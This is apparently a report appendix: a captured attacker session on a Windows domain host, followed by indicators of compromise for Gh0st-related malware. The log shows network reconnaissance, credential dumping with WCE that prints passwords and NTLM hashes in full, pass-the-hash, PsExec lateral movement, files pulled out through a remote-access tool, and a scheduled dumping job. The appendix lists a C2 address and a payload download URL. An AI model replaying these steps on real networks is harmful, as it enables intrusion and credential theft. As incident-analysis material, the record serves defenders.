COMMAND: FILE SIZE (C:\WINDOWS\webui\wc.exe: 208384)
TOKEN: DATA CONTINUE
Wrote 208384 of 208384 to C__WINDOWS_webui_wc.exe
TOKEN: DATA CONTINUE
```

```
COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
```

TYPE	NAME	SIZE	WRITE	TIME
DIR	gs.exe	303104	129984448080090049	
DIR	ra.exe	403968	129984448127283287	
DIR	sl.exe	20480	129984448163068888	
DIR	wc.exe	208384	129984448197760606	

C:\WINDOWS\webui>ipconfig /all >> netuse.dll

C:\WINDOWS\webui>net view >> netuse.dll

C:\WINDOWS\webui>net localgroup administrators >> netuse.dll

C:\WINDOWS\webui>net sessions >> netuse.dll

C:\WINDOWS\webui>net share >> netuse.dll

C:\WINDOWS\webui>net start >> netuse.dll

C:\WINDOWS\webui>sl.exe -bht 445,80.443.21.1433 172.16.150.1-254 >> netuse.dll

ScanLine (TM) 1.01  
Copyright (c) Foundstone, Inc. 2002  
<http://www.foundstone.com>

5 IPs and 25 ports scanned in 0 hours 0 mins 13.11 secs

C:\WINDOWS\webui>sl.exe -bht 445,80,443,21,1433 172.16.150.1-254 >> netuse.dll

ScanLine (TM) 1.01  
Copyright (c) Foundstone, Inc. 2002  
<http://www.foundstone.com>

5 IPs and 25 ports scanned in 0 hours 0 mins 13.08 secs

C:\WINDOWS\webui>gs -a >> netuse.dll

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COMMAND: LIST DRIVE  
TOKEN: DRIVE LIST

DRIVE	TOTAL	FREE	FILESYSTEM	DESCRIPTION
A	0	0		Removable Disk
C	10228 6680	NTFS	Local Disk	
D	539 0	CDFS	CD Drive	

COMMAND: LIST FILES (C:\)  
TOKEN: FILE LIST

TYPE	NAME	SIZE	WRITE	TIME
DIR	AUTOEXEC.BAT	0	129964314217180000	
DIR	boot.ini	211	129981609811585442	
DIR	CONFIG.SYS	0	129964314217180000	
DIR	Documents and Settings	0	129964569290921031	
DIR	IO.SYS	0	129964314217180000	
DIR	MSDOS.SYS	0	129964314217180000	
DIR	NTDETECT.COM	47564	129981606020615962	
DIR	ntldr	250048	129981618306345996	
DIR	pagefile.sys	805306368	129984410083593750	
DIR	Program Files	0	129964566580312500	
DIR	RECYCLER	0	129982548503655357	
DIR	System Volume Information	0	129981611111718750	

DIR WINDOWS 0 129984447946948861

COMMAND: LIST FILES (C:\WINDOWS\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR \$NtServicePackUninstall\$ 0 129981617362706222

DIR 0.log 0 129984410391770812

<SNIP>

DIR ps.exe 381816 129984447951480662

<SNIP>

DIR webui 0 129984448514986676

<SNIP>

DIR WMSysPr9.prx 316640 129981626850685706

DIR WMSysPrx.prx 299552 129964314180773750

DIR Zapotec.bmp 9522 126750960000000000

DIR \_default.pif 707 126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR gs.exe 303104 129984448080090049

DIR netuse.dll 11844 129984451183437846

DIR ra.exe 403968 129984448127283287

DIR sl.exe 20480 129984448163068888

DIR wc.exe 208384 129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\netuse.dll)

C\_\_WINDOWS\_webui\_netuse.dll

TOKEN: FILE SIZE (C:\WINDOWS\webui\netuse.dll: 11844)

COMMAND: CONTINUE

Wrote 11844 of 11844 to C\_\_WINDOWS\_webui\_netuse.dll

COMMAND: CONTINUE

TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>ping DC-USTXHOU

Pinging dc-ustxhou.petro-market.org [172.16.150.10] with 32 bytes of data:

Reply from 172.16.150.10: bytes=32 time<1ms TTL=128

Reply from 172.16.150.10: bytes=32 time<1ms TTL=128

Reply from 172.16.150.10: bytes=32 time<1ms TTL=128

Reply from 172.16.150.10: bytes=32 time<1ms TTL=128

Ping statistics for 172.16.150.10:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:

Minimum = 0ms, Maximum = 0ms, Average = 0ms

C:\WINDOWS\webui>ping IIS-SARIYADH-03

Pinging IIS-SARIYADH-03.petro-market.org [172.16.223.47] with 32 bytes of data:

Reply from 172.16.223.47: bytes=32 time=2ms TTL=127

Reply from 172.16.223.47: bytes=32 time=1ms TTL=127

Reply from 172.16.223.47: bytes=32 time=1ms TTL=127

Reply from 172.16.223.47: bytes=32 time<1ms TTL=127

Ping statistics for 172.16.223.47:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate round trip times in milli-seconds:  
Minimum = 0ms, Maximum = 2ms, Average = 1ms

C:\WINDOWS\webui>dir

Volume in drive C has no label.  
Volume Serial Number is 1044-534A

Directory of C:\WINDOWS\webui

11/26/2012	05:07 PM	<DIR>	.
11/26/2012	05:07 PM	<DIR>	..
11/26/2012	05:06 PM		303,104 gs.exe
11/26/2012	05:11 PM		11,844 netuse.dll
11/26/2012	05:06 PM		403,968 ra.exe
11/26/2012	05:06 PM		20,480 sl.exe
11/26/2012	05:06 PM		208,384 wc.exe
		5 File(s)	947,780 bytes
		2 Dir(s)	7,005,007,872 bytes free

C:\WINDOWS\webui>wc.exe -l

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012  
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)  
Use -h for help.

callb:PETRO-  
MARKET:115B24322C11908C85140F5D33B6232F:40D1D232D5F731EA966913EA458A  
16E7  
ENG-USTXHOU-148\$:PETRO-  
MARKET:00000000000000000000000000000000:D6717F1E5252FA87ED40AF8C46D8  
B1E2

C:\WINDOWS\webui>wc.exe -w

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012  
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)  
Use -h for help.

callb\PETRO-MARKET:Marlners@4655  
NETWORK SERVICE\PETRO-  
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/1Wc[`XWPpN/.  
d\$I.Ubc-7c \$-ap(@?I7S6SD(U-zbdQHgT2& u\rgek(ga?y+GGE\*E\_0/2Qs  
ENG-USTXHOU-148\$\PETRO-  
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/1Wc[`XWPpN/.  
d\$I.Ubc-7c \$-ap(@?I7S6SD(U-zbdQHgT2& u\rgek(ga?y+GGE\*E\_0/2Qs

C:\WINDOWS\webui>ps.exe \\172.16.150.10 -u petrol-market\callb -p  
Marlners@4655 -accepteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely  
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Sysinternals - www.sysinternals.com

The handle is invalid.  
Connecting to 172.16.150.10...

Couldn't access 172.16.150.10:  
Connecting to 172.16.150.10...

```
C:\WINDOWS\webui>ps \\172.16.223.47 -u petrol-market\callb -p  
Marlners@4655 -accepteula cmd /c ipconfig
```

```
PsExec v1.98 - Execute processes remotely  
Copyright (C) 2001-2010 Mark Russinovich  
Sysinternals - www.sysinternals.com
```

```
The handle is invalid.  
Connecting to 172.16.223.47...
```

```
Couldn't access 172.16.223.47:  
Connecting to 172.16.223.47...
```

```
C:\WINDOWS\webui>wc.exe -s  
sysbackup:current:c2a3915df2ec79ee73108eb48073acb7:e7a6f270f1ba562a9  
0e2c133a95d2057
```

```
WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012  
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)  
Use -h for help.
```

```
Changing NTLM credentials of current logon session (000003E7h) to:  
Username: sysbackup  
domain: current  
LMHash: c2a3915df2ec79ee73108eb48073acb7  
NTHash: e7a6f270f1ba562a90e2c133a95d2057  
NTLM credentials successfully changed!
```

```
C:\WINDOWS\webui>ps.exe \\172.16.150.10 -u sysbackup -p Tlg3rsL10n5  
-accpeteula cmd /c ipconfig
```

```
PsExec v1.98 - Execute processes remotely  
Copyright (C) 2001-2010 Mark Russinovich  
Sysinternals - www.sysinternals.com
```

```
The handle is invalid.  
Connecting to 172.16.150.10...
```

```
Couldn't access 172.16.150.10:  
Connecting to 172.16.150.10...
```

```
C:\WINDOWS\webui>ps.exe \\172.16.223.47 -u sysbackup -p Tlg3rsL10n5  
-accpeteula cmd /c ipconfig
```

```
PsExec v1.98 - Execute processes remotely  
Copyright (C) 2001-2010 Mark Russinovich  
Sysinternals - www.sysinternals.com
```

```
The file exists.  
Connecting to 172.16.223.47...
```

```
Starting PsExec service on 172.16.223.47...
```

```
Connecting with PsExec service on 172.16.223.47...
```

```
Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...
```

```
Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:
```



```
C:\WINDOWS\webui>cd ..
```

```
C:\WINDOWS>ps.exe \\172.16.223.47 -u sysbackup -p Tlg3rsLl0n5 -  
accpeteula cmd /c ipconfig
```

PsExec v1.98 - Execute processes remotely  
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The file exists.  
Connecting to 172.16.223.47...

Starting PsExec service on 172.16.223.47...

Connecting with PsExec service on 172.16.223.47...

Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...

Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:

```
C:\WINDOWS>ps.exe \\172.16.223.47 -u sysbackup -p Tlg3rs&Ll0n5 -  
accpeteula cmd /c ipconfig
```

PsExec v1.98 - Execute processes remotely  
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PsExec executes a program on a remote system, where remotely  
executed console  
applications execute interactively.

Usage: psexec [\\computer[,computer2[,...]] | @file][ -u user [-p  
psswd] [-n s] [-l] [-s] [-e] [-x] [-i [session]] [-c [-f|-v]] [-w  
directory] [-d] [-<priority>] [-a n,n,...] cmd [arguments]  
<SNIP>

Error codes returned by PsExec are specific to the applications you  
execute, not PsExec.

'Ll0n5' is not recognized as an internal or external command,  
operable program or batch file.

```
C:\WINDOWS>wce -w
```

'wce' is not recognized as an internal or external command,  
operable program or batch file.

```
C:\WINDOWS>cd webui
```

```
C:\WINDOWS\webui>wc -w
```

WCE v1.3beta (Windows Credentials Editor) - (c) 2010,2011,2012  
Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com)  
Use -h for help.

```
callb\PETRO-MARKET:Marlners@4655  
NETWORK SERVICE\PETRO-  
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/1Wc[`XWPpN/.  
d$I.Ubc-7c $-ap(@?I7S6SD(U-zbdQHgT2& u\rgek(ga?y+GGE*E_0/2Qs
```

ENG-USTXHOU-148\$\PETRO-  
MARKET:+A;dhzj%o<8xpD@,p5v)C:p2%?1Nkx&5OU!c[wt5BgV'r4p7/lWc[`XWPpN/.  
d\$I.Ubc-7c \$-ap(@?I7S6SD(U-zbdQHgT2& u\rgk(ga?y+GGE\*E\_0/2Qs

C:\WINDOWS\webui>ps.exe \\172.16.223.47 -u sysbackup -p Tlg3rsL10n5  
-accpeteula cmd /c ipconfig

PsExec v1.98 - Execute processes remotely  
Copyright (C) 2001-2010 Mark Russinovich  
Sysinternals - www.sysinternals.com

The file exists.  
Connecting to 172.16.223.47...

Starting PsExec service on 172.16.223.47...

Connecting with PsExec service on 172.16.223.47...

Copying C:\WINDOWS\system32\ipconfig.exe to 172.16.223.47...

Error copying C:\WINDOWS\system32\ipconfig.exe to remote system:

C:\WINDOWS\webui>net use z: \\172.16.223.47\z

The command completed successfully.

C:\WINDOWS\webui>copy z:\system.dll .

1 file(s) copied.

C:\WINDOWS\webui>dir

Volume in drive C has no label.  
Volume Serial Number is 1044-534A

Directory of C:\WINDOWS\webui

11/26/2012	06:49 PM	<DIR>	.
11/26/2012	06:49 PM	<DIR>	..
11/26/2012	05:06 PM		303,104 gs.exe
11/26/2012	05:11 PM		11,844 netuse.dll
11/26/2012	05:06 PM		403,968 ra.exe
11/26/2012	05:06 PM		20,480 sl.exe
11/26/2012	06:44 PM		5,711 system.dll
11/26/2012	05:06 PM		208,384 wc.exe
		6 File(s)	953,491 bytes
		2 Dir(s)	7,004,934,144 bytes free

COMMAND: LIST DRIVE

TOKEN: DRIVE LIST

DRIVE TOTAL FREE FILESYSTEM DESCRIPTION

A	0	0	Removable Disk
C	10228	6680	NTFS Local Disk
D	539	0	CDFS CD Drive
Z	15351	13079	NTFS Network Drive

COMMAND: LIST FILES (C:\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR	AUTOEXEC.BAT	0	129964314217180000
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DIR boot.ini 211 129981609811585442
DIR CONFIG.SYS 0 129964314217180000
DIR Documents and Settings 0 129964569290921031
DIR IO.SYS 0 129964314217180000
DIR MSDOS.SYS 0 129964314217180000
DIR NTDETECT.COM 47564 129981606020615962
DIR ntldr 250048 129981618306345996
DIR pagefile.sys 805306368 129984410083593750
DIR Program Files 0 129964566580312500
DIR RECYCLER 0 129982548503655357
DIR System Volume Information 0 129981611111718750
DIR WINDOWS 0 129984447946948861
```

COMMAND: LIST FILES (C:\WINDOWS\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR \$NtServicePackUninstall\$ 0 129981617362706222

DIR 0.log 0 129984410391770812

<SNIP>

DIR ps.exe 381816 129984447951480662

<SNIP>

DIR webui 0 129984509415736823

<SNIP>

DIR WMSysPr9.prx 316640 129981626850685706

DIR WMSysPrx.prx 299552 129964314180773750

DIR Zapotec.bmp 9522 126750960000000000

DIR \_default.pif 707 126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR gs.exe 303104 129984448080090049

DIR netuse.dll 11844 129984451183437846

DIR ra.exe 403968 129984448127283287

DIR sl.exe 20480 129984448163068888

DIR system.dll 5711 129984506561910154

DIR wc.exe 208384 129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\system.dll)

C\_\_WINDOWS\_webui\_system.dll

TOKEN: FILE SIZE (C:\WINDOWS\webui\system.dll: 5711)

COMMAND: CONTINUE

Wrote 5711 of 5711 to C\_\_WINDOWS\_webui\_system.dll

COMMAND: CONTINUE

TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>copy z:\svchost.dll .

1 file(s) copied.

COMMAND: LIST FILES (C:\WINDOWS\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR \$NtServicePackUninstall\$ 0 129981617362706222

DIR 0.log 0 129984410391770812

<SNIP>

DIR ps.exe 381816 129984447951480662

<SNIP>

DIR webui 0 129984509415736823

<SNIP>

DIR WMSysPr9.prx 316640 129981626850685706

DIR WMSysPrx.prx 299552 129964314180773750

DIR Zapotec.bmp 9522 126750960000000000

DIR \_default.pif 707 126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR gs.exe 303104 129984448080090049

DIR netuse.dll 11844 129984451183437846

DIR ra.exe 403968 129984448127283287

DIR sl.exe 20480 129984448163068888

DIR svchost.dll 1230 129984514039992804

DIR system.dll 5711 129984506561910154

DIR wc.exe 208384 129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\svchost.dll)

C\_\_WINDOWS\_webui\_svchost.dll

TOKEN: FILE SIZE (C:\WINDOWS\webui\svchost.dll: 1230)

COMMAND: CONTINUE

TOKEN: FILE DATA (1230)

Wrote 1230 of 1230 to C\_\_WINDOWS\_webui\_svchost.dll

COMMAND: CONTINUE

TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>copy z:\https.dll .

1 file(s) copied.

COMMAND: LIST FILES (C:\WINDOWS\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR \$NtServicePackUninstall\$ 0 129981617362706222

DIR 0.log 0 129984410391770812

<SNIP>

DIR ps.exe 381816 129984447951480662

<SNIP>

DIR webui 0 129984514405856769

<SNIP>

DIR WMSysPr9.prx 316640 129981626850685706

DIR WMSysPrx.prx 299552 129964314180773750

DIR Zapotec.bmp 9522 126750960000000000

DIR \_default.pif 707 126750960000000000

COMMAND: LIST FILES (C:\WINDOWS\webui\)

TOKEN: FILE LIST

TYPE NAME SIZE WRITE TIME

DIR gs.exe 303104 129984448080090049

DIR https.dll 5282 129984516342112452

DIR netuse.dll 11844 129984451183437846

DIR ra.exe 403968 129984448127283287

DIR sl.exe 20480 129984448163068888

DIR svchost.dll 1230 129984514039992804

DIR system.dll 5711 129984506561910154

DIR wc.exe 208384 129984448197760606

COMMAND: DOWN FILES (C:\WINDOWS\webui\https.dll)

C\_\_WINDOWS\_webui\_https.dll

TOKEN: FILE SIZE (C:\WINDOWS\webui\https.dll: 5282)

COMMAND: CONTINUE

Wrote 5282 of 5282 to C\_\_WINDOWS\_webui\_https.dll

COMMAND: CONTINUE

TOKEN: TRANSFER FINISH

C:\WINDOWS\webui>z:

```
Z:\>dir
```

```
Volume in drive Z has no label.  
Volume Serial Number is 9CC4-949D
```

```
Directory of Z:\
```

```
11/26/2012  07:11 PM    <DIR>          .  
11/26/2012  07:11 PM    <DIR>          ..  
11/26/2012  06:20 PM                303,104 gs.exe  
11/26/2012  07:00 PM                5,282 https.dll  
11/26/2012  07:11 PM            109,092 netstat.dll  
11/26/2012  06:20 PM            403,968 ra.exe  
11/26/2012  06:56 PM                1,230 svchost.dll  
11/26/2012  06:44 PM                5,711 system.dll  
          6 File(s)              828,387 bytes  
          2 Dir(s)  13,714,014,208 bytes free
```

```
Z:\>c:
```

```
C:\WINDOWS\webui>dir
```

```
Volume in drive C has no label.  
Volume Serial Number is 1044-534A
```

```
Directory of C:\WINDOWS\webui
```

```
11/26/2012  07:01 PM    <DIR>          .  
11/26/2012  07:01 PM    <DIR>          ..  
11/26/2012  05:06 PM            303,104 gs.exe  
11/26/2012  07:00 PM                5,282 https.dll  
11/26/2012  05:11 PM            11,844 netuse.dll  
11/26/2012  05:06 PM            403,968 ra.exe  
11/26/2012  05:06 PM            20,480 sl.exe  
11/26/2012  06:56 PM                1,230 svchost.dll  
11/26/2012  06:44 PM                5,711 system.dll  
11/26/2012  05:06 PM            208,384 wc.exe  
          8 File(s)             960,003 bytes  
          2 Dir(s)   7,004,917,760 bytes free
```

```
C:\WINDOWS\webui>copy z:\netstat.dll .
```

```
1 file(s) copied.
```

```
COMMAND: LIST FILES (C:\WINDOWS\)
```

```
TOKEN: FILE LIST
```

```
TYPE NAME SIZE WRITE TIME
```

```
DIR $NtServicePackUninstall$ 0 129981617362706222
```

```
DIR 0.log 0 129984410391770812
```

```
<SNIP>
```

```
DIR ps.exe 381816 129984447951480662
```

```
<SNIP>
```

```
DIR webui 0 129984516993374682
```

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<SNIP>
```

```
DIR WMSysPr9.prx 316640 129981626850685706
```

```
DIR WMSysPrx.prx 299552 129964314180773750
```

```
DIR Zapotec.bmp 9522 126750960000000000
```

```
DIR _default.pif 707 126750960000000000
```

```
COMMAND: LIST FILES (C:\WINDOWS\webui\)
```

```
TOKEN: FILE LIST
```

```
TYPE NAME SIZE WRITE TIME
```

```

DIR    gs.exe      303104      129984448080090049
DIR    https.dll   5282      129984516342112452
DIR    netstat.dll 109092      129984523001118148
DIR    netuse.dll  11844 129984451183437846
DIR    ra.exe      403968      129984448127283287
DIR    sl.exe      20480 129984448163068888
DIR    svchost.dll 1230 129984514039992804
DIR    system.dll  5711 129984506561910154
DIR    wc.exe      208384      129984448197760606

```

```

COMMAND: DOWN FILES (C:\WINDOWS\webui\netstat.dll)
C__WINDOWS_webui_netstat.dll
TOKEN: FILE SIZE (C:\WINDOWS\webui\netstat.dll: 109092)
COMMAND: CONTINUE
Wrote 109092 of 109092 to C__WINDOWS_webui_netstat.dll
COMMAND: CONTINUE
TOKEN: TRANSFER FINISH

```

C:\WINDOWS\webui>net time

Current time at \\DC-USTXHOU is 11/26/2012 7:25 PM

The command completed successfully.

```

C__WINDOWS_webui_system5.bat
COMMAND: FILE SIZE (C:\WINDOWS\webui\system5.bat: 88)
TOKEN: DATA CONTINUE
COMMAND: FILE DATA (88)
Wrote 88 of 88 to C__WINDOWS_webui_system5.bat
TOKEN: DATA CONTINUE

```

```

COMMAND: LIST FILES (C:\WINDOWS\webui\)
TOKEN: FILE LIST
TYPE NAME SIZE WRITE TIME
DIR    gs.exe      303104      129984448080090049
DIR    https.dll   5282      129984516342112452
DIR    netstat.dll 109092      129984523001118148
DIR    netuse.dll  11844 129984451183437846
DIR    ra.exe      403968      129984448127283287
DIR    sl.exe      20480 129984448163068888
DIR    svchost.dll 1230 129984514039992804
DIR    system.dll  5711 129984506561910154
DIR    system5.bat 88 129984532078388142
DIR    wc.exe      208384      129984448197760606

```

C:\WINDOWS\webui>system5.bat

1 file(s) copied.

Added a new job with job ID = 1

C:\WINDOWS\webui>at

Status ID	Day	Time	Command Line
1	Today	7:30 PM	wc.exe -e -o h.out

C:\WINDOWS\webui>at

Status ID	Day	Time	Command Line
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```
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-----  
1 Today 7:30 PM wc.exe -e -o h.out
```

```
C:\WINDOWS\webui>net time
```

```
Current time at \\DC-USTXHOU is 11/26/2012 7:31 PM
```

```
The command completed successfully.
```

```
C:\WINDOWS\webui>at
```

```
Status ID Day Time Command Line  
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-----  
1 Today 7:30 PM wc.exe -e -o h.out
```

```
C:\WINDOWS\webui>at
```

```
Status ID Day Time Command Line  
-----  
-----  
1 Today 7:30 PM wc.exe -e -o h.out
```

```
C:\WINDOWS\webui>net start
```

```
These Windows services are started:
```

```
Application Layer Gateway Service  
Automatic Updates  
COM+ Event System  
Computer Browser  
Cryptographic Services  
DCOM Server Process Launcher  
DHCP Client  
Distributed Link Tracking Client  
DNS Client  
Error Reporting Service  
Event Log  
Help and Support  
IPSEC Services  
Logical Disk Manager  
Microsoft Device Manager  
Net Logon  
Network Connections  
Network Location Awareness (NLA)  
Plug and Play  
Print Spooler  
Protected Storage  
Remote Access Connection Manager  
Remote Procedure Call (RPC)  
Remote Registry  
Secondary Logon  
Security Accounts Manager  
Server  
Shell Hardware Detection  
SSDP Discovery Service  
System Event Notification  
System Restore Service  
Task Scheduler  
TCP/IP NetBIOS Helper
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Telephony  
Terminal Services  
Themes  
WebClient  
Windows Audio  
Windows Firewall/Internet Connection Sharing (ICS)  
Windows Management Instrumentation  
Windows Time  
Wireless Zero Configuration  
Workstation

The command completed successfully.

C:\WINDOWS\webui>

## Appendix B: IOC File

```
OR
  AND
    Port Remote IP is 58.64.132.141
    Port remotePort is 80
  OR
    Module ModuleName contains 6to4ex.dll
  OR
    UrlHistory URL contains http://58.64.132.8/download/Symantec-1.43-1.exe
  OR
    OR
      Process StringList contains Gh0st
      Process StringList contains gh0st
  OR
    File MD5 is 156f2c6a65a1eab1c03e1dc7f215a044
    File Sha256sum contains 29f63761610079940e43abd1d7c9c50ab678fef1da43c4c961069bbb8f7d0628
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